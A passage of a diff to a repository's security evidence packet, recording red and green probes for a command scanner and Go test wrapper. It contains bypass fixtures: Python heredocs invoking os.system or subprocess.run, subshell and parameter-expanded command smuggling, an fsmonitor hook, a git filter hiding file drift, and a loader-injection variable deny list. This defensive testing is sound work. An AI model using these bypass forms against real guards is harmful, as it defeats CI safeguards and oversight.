absolute `/opt/homebrew/bin/python3 -I`. No live action ran. Rollback is packet-only parent restoration. | -| 4002688136, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688136](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688136) | Reproduced unexpected top-level JSON `run`/`pass`/`fail` acceptance; validator now rejects unknown top-level events and allows subtests only beneath expected parents, retaining required expected-parent run/pass events. Rollback is packet-only parent restoration. | +Recorded exact-parent red output: -### Fresh exact-head P2 corrections at `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` +```text +RED 4003386579: exact parent skipped python3 - << heredoc body containing subprocess.run([gh workflow run ci.yml]) +RED 4003386586: exact parent certified gh workflow run inside parenthesized subshells +RED 4003386592: exact parent status gate accepted clean filter/attributes while worktree bytes differed from pinned HEAD blob +RED 4003386595: exact parent launched absolute Python without rejecting inherited DYLD_INSERT_LIBRARIES/LD_PRELOAD +``` -Review [5194859291](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5194859291) identified three fresh exact-head P2 findings against immutable parent `6c55f5b67035fb1c7ac334984499cfe80d6bb86b`: source-integrity Git status/config isolation ([4002895109](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895109)), command-capable Python import aliases ([4002895114](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895114)), and requested-versus-effective Go toolchain/trust identity ([4002895117](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895117)). This packet-only correction preserves the existing GOCACHEPROG/GOAUTH controls, exact-head ledger and rollback boundary; all probes below are static, temporary-repository or child-blocked checks and do not claim hostile-code isolation, Go test execution, or live qualification. +#### Minimal packet correction and focused green probe -#### Exact-parent red probes +The minimal correction makes heredoc discovery interpreter/option-aware before +body inspection: every executable `python`, `python3` or versioned/absolute +Python heredoc is recorded, missing `-I` is a distinct fail-closed result, and +the reviewed absolute `/opt/homebrew/bin/python3` plus canonical PATH policy is +retained. The shell scanner rejects `(` / `)` subshell grouping before wrapper +stripping or executable classification while retaining the reviewed wrapper +declarations and safe `printf` brace. Source trust now compares raw worktree +bytes against `HEAD` blobs before porcelain/status, so local clean filters and +`.git/info/attributes` cannot rewrite the trust decision. Every Python launch +preflight rejects the reviewed `LD_*`/`DYLD_*` loader variables before startup, +and the wrapper removes those names from all Go-child environments. -The three red probes ran first against the exact immutable parent. The first -created a temporary Git repository whose repository config enabled a synthetic -`core.fsmonitor` hook, then ran the parent's unguarded porcelain status command. -The second parsed only the parent's Python AST audit and exercised the three -command-capable alias/import forms. The third blocked the parent's first child -after supplying inherited custom `GOSUMDB`/`GOPROXY`, proving that the old -wrapper neither refused the trust settings nor queried effective `GOVERSION`. -No Go child, test body, live operation or credential-bearing process ran. +The focused green probe reads only the candidate packet, exercises pure scanner +helpers and the raw-blob helper against temporary repositories, and performs no +Go, live, loader or forbidden-command execution: ```sh set -euo pipefail -export PATH=/opt/homebrew/bin:/usr/bin:/bin [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed exact-parent fsmonitor fixture +# g01-safe-python-heredoc: reviewed focused static argv /opt/homebrew/bin/python3 -I - <<'PY' +import ast +import os +import re +import shlex +import stat import subprocess import tempfile from pathlib import Path -parent = "6c55f5b67035fb1c7ac334984499cfe80d6bb86b" -packet = subprocess.check_output(["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True) -status_start = packet.index(' [\n "git",\n "status",') -status_end = packet.index(' ],', status_start) + len(' ],') -status_argv = packet[status_start:status_end] -if '"-c"' in status_argv or "core.fsmonitor=false" in status_argv or "core.hooksPath=/dev/null" in status_argv: - raise SystemExit("red setup changed: exact parent status command already guarded") -print(f"RED 4002895109: exact parent {parent} source-status argv lacks core.fsmonitor=false/core.hooksPath=/dev/null") +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +scanner_anchor = packet.index("def python_heredoc_invocation(stripped):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner = {"Path": Path, "ast": ast, "os": os, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner) + +fixture = ( + "```" + "sh\n" + "# g01-safe-python-heredoc: synthetic unisolated body\n" + "python3 - <<'PY'\n" + "import subprocess\n" + "subprocess.run([\"gh\", \"workflow\", \"run\", \"ci.yml\"])\n" + "PY\n" + "```" +) +records = list(scanner["python_heredoc_bodies"](fixture)) +if len(records) != 1 or records[0][3]["isolated"]: + raise SystemExit("heredoc regression: unisolated Python body was not detected") +if records[0][3]["interpreter"] != "python3": + raise SystemExit("heredoc regression: interpreter identity was not retained") +print("GREEN 4003386579: python3 - << body discovered and rejected for missing -I before AST/body trust") + +def rejects(command): + return any( + scanner["forbidden_command"](segment) is not None + for segment in scanner["shell_token_segments"](command) + ) + +for command in ("(gh workflow run ci.yml)", "true && (gh workflow run ci.yml)"): + if not rejects(command): + raise SystemExit(f"subshell regression: {command} was accepted") +for command in ("printf safe", "go_test_checked() {"): + if rejects(command): + raise SystemExit(f"safe-wrapper regression: {command} was rejected") +print("GREEN 4003386586: parenthesized subshell forms rejected before executable classification; safe printf/wrapper forms retained") + +helper_start = packet.index("def git_worktree_matches_pinned_blobs(repo_root, module_dir, env):") +helper_end = packet.index("\ndef package_initialization_guard", helper_start) +probe_env = { + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", +} +helper_ns = { + "Path": Path, + "os": os, + "re": re, + "stat": stat, + "subprocess": subprocess, + "label": "filter-probe", + "git_command": lambda args: ["git", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", *args], +} +exec(compile(packet[helper_start:helper_end], "", "exec"), helper_ns) with tempfile.TemporaryDirectory() as td: root = Path(td) - env = {"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "HOME": td} - subprocess.run(["git", "init", "-q"], cwd=root, env=env, check=True) - (root / "source.go").write_text("package p\n", encoding="utf-8") - subprocess.run(["git", "add", "source.go"], cwd=root, env=env, check=True) - subprocess.run(["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], cwd=root, env=env, check=True) - marker = root / "fsmonitor-invoked" - hook = root / "fsmonitor-hook" - hook.write_text(f"#!/bin/sh\nprintf invoked > {marker}\nprintf 'builtin:fake\\n'\n", encoding="utf-8") - hook.chmod(0o700) - subprocess.run(["git", "config", "core.fsmonitor", str(hook)], cwd=root, env=env, check=True) - status = subprocess.run(["git", "status", "--porcelain=v1", "--untracked-files=all", "--ignored=matching", "--", "."], cwd=root, env=env, capture_output=True, text=True, check=False) - if status.returncode != 0 or not marker.is_file() or marker.read_text(encoding="utf-8") != "invoked": - raise SystemExit("red setup changed: configured fsmonitor hook was not invoked") - print("RED 4002895109: exact-parent status invoked configured core.fsmonitor hook (marker=invoked); tree trust was not isolated") + def run_git_probe(args, check=True): + return subprocess.run(args, cwd=root, env=probe_env, text=True, capture_output=True, check=check) + run_git_probe(["git", "init", "-q"]) + run_git_probe(["git", "config", "user.name", "probe"]) + run_git_probe(["git", "config", "user.email", "probe@example.invalid"]) + run_git_probe(["git", "config", "filter.synthetic.clean", "sed 's/package q/package p/'"]) + run_git_probe(["git", "config", "filter.synthetic.smudge", "cat"]) + (root / ".git/info/attributes").write_text("source.go filter=synthetic\n", encoding="utf-8") + (root / "source.go").write_bytes(b"package p\n") + run_git_probe(["git", "add", "source.go"]) + run_git_probe(["git", "commit", "-q", "-m", "source"]) + (root / "source.go").write_bytes(b"package q\n") + try: + helper_ns["git_worktree_matches_pinned_blobs"](root, ".", probe_env) + except SystemExit: + pass + else: + raise SystemExit("raw-blob regression: filter-hidden worktree drift was accepted") + (root / "source.go").write_bytes(b"package p\n") + helper_ns["git_worktree_matches_pinned_blobs"](root, ".", probe_env) +print("GREEN 4003386592: raw worktree bytes were compared to pinned HEAD blobs; filter-hidden drift rejected and exact bytes accepted") + +loader_names = ( + "LD_PRELOAD", "LD_PRELOAD_32", "LD_PRELOAD_64", "LD_LIBRARY_PATH", + "LD_LIBRARY_PATH_32", "LD_LIBRARY_PATH_64", "LD_AUDIT", + "DYLD_INSERT_LIBRARIES", "DYLD_LIBRARY_PATH", "DYLD_FALLBACK_LIBRARY_PATH", + "DYLD_FRAMEWORK_PATH", "DYLD_FALLBACK_FRAMEWORK_PATH", "DYLD_ROOT_PATH", +) +launch = packet.index("/opt/homebrew/bin/python3 -I - <<'PY") +preflight = packet[packet.rfind("```sh", 0, launch):launch] +if any(name not in preflight for name in loader_names): + raise SystemExit("loader regression: shell preflight omitted a reviewed loader variable") +wrapper_start = packet.index("go_test_checked() {") +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +if "for loader_name in loader_assignment_names:" not in wrapper or "env.pop(loader_name, None)" not in wrapper: + raise SystemExit("loader regression: clean Go-child environment fence missing") +print("GREEN 4003386595: all reviewed LD_/DYLD_ hooks are rejected before Python startup and removed from Go-child environment; no loader/live child started") PY ``` -```sh +Recorded focused green output: + +```text +GREEN 4003386579: python3 - << body discovered and rejected for missing -I before AST/body trust +GREEN 4003386586: parenthesized subshell forms rejected before executable classification; safe printf/wrapper forms retained +GREEN 4003386592: raw worktree bytes were compared to pinned HEAD blobs; filter-hidden drift rejected and exact bytes accepted +GREEN 4003386595: all reviewed LD_/DYLD_ hooks are rejected before Python startup and removed from Go-child environment; no loader/live child started +``` + +The four probes are packet/static or temporary-repository evidence only. No Go +test/list/body command, workflow, App/runner operation, credential access, +Docker/Lima/Keychain/launchd operation, loader process or destructive cleanup +ran. Exact-head Codex review of the final pushed head, CI and maintainer live +authorization remain open. + +Rollback is narrow and packet-only: restore +`docs/evidence/g01-recovery-packet.md` to immutable parent +`5f42598b94ce5339c35f55be42eb108973850d24`; preserve independent driver, +review and manual-runner state, and do not force-kill, prune or replay any live +resource. + +#### Exact review URL ledger and dispositions + +| Finding and immutable source | Exact review URL | Disposition and rollback evidence | +|---|---|---| +| 4003386579, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386579](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386579) | Reproduced the exact parent's omission of `python3 - <<` and its `subprocess.run([gh workflow run ...])` body. The scanner now discovers every executable Python heredoc, rejects missing `-I` before body/AST trust, and retains the absolute interpreter/canonical PATH policy. No body or command executed; rollback is packet-only parent restoration. | +| 4003386586, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386586](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386586) | Reproduced both parenthesized subshell forms being certified. Parenthesized grouping now fails closed before executable classification while reviewed safe wrapper declarations and `printf` preflight remain accepted. No shell payload ran; rollback is packet-only parent restoration. | +| 4003386592, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386592](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386592) | Reproduced local `filter.*.clean` plus `.git/info/attributes` making porcelain/status clean while worktree bytes differed from `HEAD`. The package gate now compares unfiltered worktree bytes with pinned raw blobs before status/metadata; no Go child or live operation ran. Rollback is packet-only parent restoration. | +| 4003386595, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386595](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386595) | Reproduced absolute Python startup without inherited `DYLD_INSERT_LIBRARIES`/`LD_PRELOAD` preflight. Every reviewed `LD_*`/`DYLD_*` hook is rejected before Python startup and removed from Go-child environments; no loader or live child ran. Rollback is packet-only parent restoration. | + +### Fresh exact-head P2 corrections at `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` + +The [exact-head Codex review 5195848923](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5195848923) identified five fresh P2 gaps against immutable parent `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48`: versioned Python command-string matching ([4003658071](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658071)), actual cgo compiler identity ([4003658074](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658074)), shell parameter-expanded executables ([4003658080](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658080)), inherited private-module trust overrides ([4003658086](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658086)) and every heredoc operator ([4003658097](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658097)). This packet-only correction preserves every prior ledger, exact-parent pin, TDD/rollback/live gap, no-secrets/private-path policy and the boundary that trusted same-user execution is not hostile-code isolation; no Go test, workflow, App/runner, Docker/Lima/Keychain/launchd or live operation is authorized or claimed. + +#### Exact-parent red reproduction + +The red probe ran first against the immutable parent. It read only the parent +packet, extracted pure scanner/wrapper helpers, and used synthetic strings plus +a temporary in-memory environment; it never executed the versioned Python body, +the parameter-expanded `gh`, a compiler, a Go child or a live operation: + +~~~sh set -euo pipefail -export PATH=/opt/homebrew/bin:/usr/bin:/bin -# g01-safe-python-heredoc: reviewed exact-parent AST fixture -/opt/homebrew/bin/python3 -I - <<'PY' +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed exact-parent fresh-P2 red probes +/opt/homebrew/bin/python3 -I - <<'PROBE' import ast +import io +import os import re import shlex import subprocess +import sys +from contextlib import redirect_stdout from pathlib import Path -parent = "6c55f5b67035fb1c7ac334984499cfe80d6bb86b" -packet = subprocess.check_output(["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True) +parent = "055a05bd9d5a9bb101e4400dd7a9236e3afd9f48" +packet = subprocess.check_output(["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True) scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) -namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), namespace) -for label, body in ( - ("import subprocess as sp; sp.run", 'import subprocess as sp\nsp.run(["gh", "api", "x"])'), - ("from subprocess import run; run", 'from subprocess import run\nrun(["gh", "api", "x"])'), - ("from os import system; system", 'from os import system\nsystem("docker version")'), -): - if namespace["inspect_python_heredoc"](body, False) is not None: - raise SystemExit(f"red setup changed: exact parent already rejects {label}") - print(f"RED 4002895114: exact parent accepted unresolved command-capable import/call {label}") -PY -``` +scanner_ns = {"Path": Path, "ast": ast, "os": os, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) -```sh -set -euo pipefail -export PATH=/opt/homebrew/bin:/usr/bin:/bin -# g01-safe-python-heredoc: reviewed exact-parent toolchain fixture -/opt/homebrew/bin/python3 -I - <<'PY' -import os +versioned = '/opt/homebrew/bin/python3.12 -c \'import os; os.system("gh workflow run ci.yml"); pass\'' +if any(scanner_ns["forbidden_command"](segment) is not None for segment in scanner_ns["shell_token_segments"](versioned)): + raise SystemExit("red setup changed: exact parent already rejected versioned Python command string") +print("RED 4003658071: exact parent accepted /opt/homebrew/bin/python3.12 -c with os.system(gh workflow run ci.yml)") + +parameterized = 'runner=gh "$runner" workflow run ci.yml' +if any(scanner_ns["forbidden_command"](segment) is not None for segment in scanner_ns["shell_token_segments"](parameterized)): + raise SystemExit("red setup changed: exact parent already rejected parameter-expanded executable") +print('RED 4003658080: exact parent certified runner=gh followed by "$runner" workflow run ci.yml as a literal-safe command') + +fixture = """```sh +cat < /usr/bin/clang 18.0") + +if any(name in wrapper for name in ("GOPRIVATE", "GONOPROXY", "GONOSUMDB")): + raise SystemExit("red setup changed: exact parent already controls private-module trust overrides") +base = [ + "probe", "1", "0" * 64, "red-trust", "experiments/g01-scaleset:./livecanary", + "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", + "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", +] +class StopAtChild(Exception): pass saved_env, saved_argv = dict(os.environ), sys.argv -saved_check_output, saved_run = subprocess.check_output, subprocess.run +saved_check_output = subprocess.check_output calls = [] def stop(*args, **kwargs): calls.append(args[0] if args else kwargs.get("args")) - raise StopBeforeChild + raise StopAtChild try: os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", "GOSUMDB": "sum.invalid+deadbeef", "GOPROXY": "https://proxy.invalid"}) + os.environ.update({ + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", + "GOSUMDB": "sum.golang.org", "GOPROXY": "https://proxy.golang.org,direct", + "GOPRIVATE": "example.invalid/private", "GONOPROXY": "example.invalid/private", + "GONOSUMDB": "example.invalid/private", + }) sys.argv = base subprocess.check_output = stop - subprocess.run = stop try: - exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) - except StopBeforeChild: + with redirect_stdout(io.StringIO()): + exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) + except StopAtChild: pass finally: - subprocess.check_output, subprocess.run = saved_check_output, saved_run + subprocess.check_output = saved_check_output sys.argv = saved_argv os.environ.clear() os.environ.update(saved_env) if not calls: - raise SystemExit("red setup changed: custom trust settings refused before first child") -print(f"RED 4002895117: exact parent accepted inherited custom GOSUMDB/GOPROXY and reached first child {calls[0]!r}") -print("RED 4002895117: exact parent build identity used requested GOTOOLCHAIN=go1.26.8; no effective GOVERSION/trust query") -PY -``` + raise SystemExit("red setup changed: exact parent refused private trust overrides before first child") +print(f"RED 4003658086: exact parent forwarded GOPRIVATE/GONOPROXY/GONOSUMDB and reached first child {calls[0]!r}") +PROBE +~~~ Recorded exact-parent red output: ```text -RED 4002895109: exact parent 6c55f5b67035fb1c7ac334984499cfe80d6bb86b source-status argv lacks core.fsmonitor=false/core.hooksPath=/dev/null -RED 4002895109: exact-parent status invoked configured core.fsmonitor hook (marker=invoked); tree trust was not isolated -RED 4002895114: exact parent accepted unresolved command-capable import/call import subprocess as sp; sp.run -RED 4002895114: exact parent accepted unresolved command-capable import/call from subprocess import run; run -RED 4002895114: exact parent accepted unresolved command-capable import/call from os import system; system -RED 4002895117: exact parent accepted inherited custom GOSUMDB/GOPROXY and reached first child ['git', 'rev-parse', '--show-toplevel'] -RED 4002895117: exact parent build identity used requested GOTOOLCHAIN=go1.26.8; no effective GOVERSION/trust query +RED 4003658071: exact parent accepted /opt/homebrew/bin/python3.12 -c with os.system(gh workflow run ci.yml) +RED 4003658080: exact parent certified runner=gh followed by "$runner" workflow run ci.yml as a literal-safe command +RED 4003658097: exact parent inspected only the first cat < /usr/bin/clang 18.0 +RED 4003658086: exact parent forwarded GOPRIVATE/GONOPROXY/GONOSUMDB and reached first child ['git', '-c', 'core.fsmonitor=false', '-c', 'core.hooksPath=/dev/null', 'rev-parse', '--show-toplevel'] ``` #### Minimal packet correction and focused green probe -The minimal correction adds one shared Git argv/config guard to every -wrapper-controlled source-tree, porcelain-status and intent-bit query: -`core.fsmonitor=false`, `core.hooksPath=/dev/null`, `GIT_CONFIG_NOSYSTEM=1`, -and `/dev/null` global/system config paths. The Python audit resolves direct -module aliases and imported command functions, while unresolved -command-capable calls and star imports fail closed even when a dynamic safe -marker is present. Before the first Go child, the wrapper requires the reviewed -`GOSUMDB=sum.golang.org` and `GOPROXY=https://proxy.golang.org,direct`, queries -`go env GOVERSION GOSUMDB GOPROXY`, and binds the verified effective version in -the build identity. Existing GOCACHEPROG/GOAUTH controls remain unchanged. +The minimal correction extends the Python interpreter predicate shared by +heredoc and command-string inspection to absolute/versioned interpreters, so a +versioned `python3.12 -c` is blocked before its string can be interpreted. The +shell scanner now rejects unresolved or parameter-expanded executable tokens +before denylist classification while retaining safe literal commands. Heredoc +operators are queued in source order by both the executable-command audit and +the Python-body extractor; a non-Python `cat <&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed focused synthetic argv -/opt/homebrew/bin/python3 -I - <<'PY' +# g01-safe-python-heredoc: reviewed focused fresh-P2 green probes +/opt/homebrew/bin/python3 -I - <<'PROBE' import ast +import io import os import re import shlex import subprocess import sys -import tempfile from pathlib import Path packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner = {"Path": Path, "ast": ast, "os": os, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner) + +if not any( + scanner["forbidden_command"](segment) is not None + for segment in scanner["shell_token_segments"]( + '/opt/homebrew/bin/python3.12 -c \'import os; os.system("gh workflow run ci.yml"); pass\'' + ) +): + raise SystemExit("versioned Python command string was accepted") +if not any( + scanner["forbidden_command"](segment) is not None + for segment in scanner["shell_token_segments"]('runner=gh "$runner" workflow run ci.yml') +): + raise SystemExit("parameter-expanded executable was accepted") +if any( + scanner["forbidden_command"](segment) is not None + for segment in scanner["shell_token_segments"]("printf safe") +): + raise SystemExit("safe literal command was rejected") + +fixture = """```sh +cat <", "exec"), scanner_ns) -for body in ('import subprocess as sp\nsp.run(["gh", "api", "x"])', 'from subprocess import run\nrun(["gh", "api", "x"])', 'from os import system\nsystem("docker version")', 'import synthetic as sp\nsp.run(command)'): - if scanner_ns["inspect_python_heredoc"](body, True) is None: - raise SystemExit(f"alias/unresolved command-capable call accepted: {body!r}") -if scanner_ns["inspect_python_heredoc"]("import subprocess as sp\nsp.run(command)", True) is not None: - raise SystemExit("reviewed dynamic alias with safe marker rejected") -if scanner_ns["inspect_python_heredoc"]("from subprocess import *\nrun(command)", True) is None: - raise SystemExit("unresolved star import accepted") +module = ast.parse(wrapper, filename="") +selected_nodes = [] +for node in module.body: + if isinstance(node, ast.Assign) and any( + isinstance(target, ast.Name) and target.id in { + "reviewed_cgo_command", "reviewed_cgo_path", "reviewed_cgo_version", "reviewed_cgo_identity" + } + for target in node.targets + ): + selected_nodes.append(node) + if isinstance(node, ast.FunctionDef) and node.name == "verified_cgo_compiler_identity": + selected_nodes.append(node) +ns = {"label": "cgo-probe"} +exec(compile(ast.Module(body=selected_nodes, type_ignores=[]), "", "exec"), ns) +if ns["verified_cgo_compiler_identity"]("clang", ns["reviewed_cgo_version"]) != "cgo-cc-clang-apple21.0.0": + raise SystemExit("reviewed compiler identity did not resolve") +for args in (("clang", "Apple clang version 22.0.0 (clang-2200)"), ("gcc", ns["reviewed_cgo_version"])): + try: + ns["verified_cgo_compiler_identity"](*args) + except SystemExit: + pass + else: + raise SystemExit(f"compiler identity drift accepted: {args!r}") -base = ["probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", "./livecanary"] +base = [ + "probe", "1", "0" * 64, "green-trust", "experiments/g01-scaleset:./livecanary", + "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", + "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", +] class StopBeforeChild(Exception): pass -saved_env, saved_argv = dict(os.environ), sys.argv -saved_check_output, saved_run = subprocess.check_output, subprocess.run -try: +for name in ("GOPRIVATE", "GONOPROXY", "GONOSUMDB"): + saved_env, saved_argv = dict(os.environ), sys.argv + saved_check_output, saved_run = subprocess.check_output, subprocess.run calls = [] def stop(*args, **kwargs): - calls.append((args[0] if args else kwargs.get("args"), kwargs.get("env"))) - raise StopBeforeChild - os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) - sys.argv = base - subprocess.check_output, subprocess.run = stop, stop - namespace = {"__name__": "__main__"} - try: - exec(compile(wrapper, "", "exec"), namespace) - except StopBeforeChild: - pass - command, child_env = calls[0] - if command != ["git", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "rev-parse", "--show-toplevel"]: - raise SystemExit(f"first Git query not guarded: {command!r}") - if {key: child_env.get(key) for key in ("GIT_CONFIG_NOSYSTEM", "GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM")} != {"GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"}: - raise SystemExit("first Git query did not use isolated config") - if namespace["env"]["GOSUMDB"] != "sum.golang.org" or namespace["env"]["GOPROXY"] != "https://proxy.golang.org,direct": - raise SystemExit("reviewed trust settings were not pinned") -finally: - subprocess.check_output, subprocess.run = saved_check_output, saved_run - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) - -for inherited, assignment, expected in (({"GOSUMDB": "sum.invalid+deadbeef"}, (), "GOSUMDB"), ({"GOPROXY": "https://proxy.invalid"}, (), "GOPROXY"), ({}, ("GOSUMDB=sum.invalid+deadbeef",), "GOSUMDB"), ({}, ("GOPROXY=https://proxy.invalid",), "GOPROXY")): - calls = [] - saved_env, saved_argv = dict(os.environ), sys.argv - def stop_override(*args, **kwargs): calls.append(args[0] if args else kwargs.get("args")) raise StopBeforeChild try: os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", **inherited}) - sys.argv = base[:6] + list(assignment) + base[6:] - subprocess.check_output, subprocess.run = stop_override, stop_override + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", name: "example.invalid/private"}) + sys.argv = base + subprocess.check_output = stop + subprocess.run = stop try: - exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) + exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) except SystemExit as error: - if expected not in str(error) or calls: + if name not in str(error) or calls: raise + except StopBeforeChild: + raise SystemExit(f"{name} reached a child before refusal") else: - raise SystemExit(f"{expected} override accepted") + raise SystemExit(f"{name} override accepted") finally: subprocess.check_output, subprocess.run = saved_check_output, saved_run sys.argv = saved_argv os.environ.clear() os.environ.update(saved_env) -with tempfile.TemporaryDirectory() as td: - root = Path(td) - env = {"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null", "HOME": td} - subprocess.run(["git", "init", 